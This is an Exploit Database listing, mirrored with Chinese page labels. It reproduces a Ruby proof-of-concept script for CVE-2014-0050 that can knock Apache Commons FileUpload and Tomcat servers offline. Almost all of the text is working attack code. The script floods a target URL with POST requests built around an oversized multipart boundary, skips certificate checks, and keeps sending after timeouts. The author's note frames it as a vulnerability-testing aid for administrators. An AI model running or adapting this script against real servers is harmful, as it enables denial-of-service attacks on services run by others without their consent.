Apache Commons FileUpload and Apache Tomcat – Denial of Service

• Exploit Database
• 13 阅读

• 作者： Trustwave's SpiderLabs
  日期： 2014-02-12
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/31615/

• #################################################################################
  # CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service	#
  # 																				#
  # Author: Oren Hafif, Trustwave SpiderLabs Research								#
  # This is a Proof of Concept code that was created for the sole purpose 		#
  # of assisting system administrators in evaluating whether their applications 	#
  # are vulnerable to this issue or not											#
  #																				#
  # Please use responsibly.														#
  #################################################################################
  
  
  require 'net/http'
  require 'net/https'
  require 'optparse'
  require 'openssl'
  
  
  options = {}
  
  opt_parser = OptionParser.new do |opt|
  opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
  opt.separator""
  opt.separator"Options"
  opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
  options[:url] = url
  end
  
  opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
  options[:number_of_requests] = number_of_requests
  end
  
  opt.on("-h","--help","help") do
  	puts ""
  puts "#################################################################################"
  	puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #"
  	puts "# #"
  	puts "# Author: Oren Hafif, Trustwave SpiderLabs Research #"
  	puts "# This is a Proof of Concept code that was created for the sole purpose #"
  	puts "# of assisting system administrators in evaluating whether or not #"
  	puts "# their applications are vulnerable to this issue.#"
  	puts "# #"
  	puts "# Please use responsibly. #"
  	puts "#################################################################################"
  puts ""
  puts opt_parser
  puts ""
  
  	exit
  end
  end
  
  opt_parser.parse!
  
  
  uri = ""
  begin
  	uri = URI.parse(options[:url])
  rescue Exception => e
  	puts ""
  	puts "ERROR: Invalid URL was entered #{options[:url]}"
  	puts ""
  puts opt_parser
  exit
  end
  
  number_of_requests = 10;
  if(options[:number_of_requests] != nil)
  	begin
  		number_of_requests = Integer( options[:number_of_requests] )
  		throw Exception.new if number_of_requests <= 0 
  	rescue Exception => e
  		puts e
  		puts ""
  		puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
  		puts ""
  	puts opt_parser
  	exit
  	end
  end
  
  #uri = URI.parse(uri)
  
  
  puts ""
  puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
  i=10
  i.times { print "#{i.to_s}...";sleep 1; i-=1;}
  puts ""
  
  
  number_of_requests.times do 
  	begin
  	puts "Request Launched"
  	https = Net::HTTP.new(uri.host,uri.port)
  	https.use_ssl = uri.scheme=="https"
  	https.verify_mode = OpenSSL::SSL::VERIFY_NONE
  	req = Net::HTTP::Post.new(uri.path)
  	req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
  	req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
  	req.body = "b"*4097
  	https.read_timeout = 1 
  	res = https.request(req)
  	rescue Timeout::Error=>e
  		puts "Timeout - continuing DoS..."
  	rescue Exception=>e
  		puts e.inspect
  	end
  end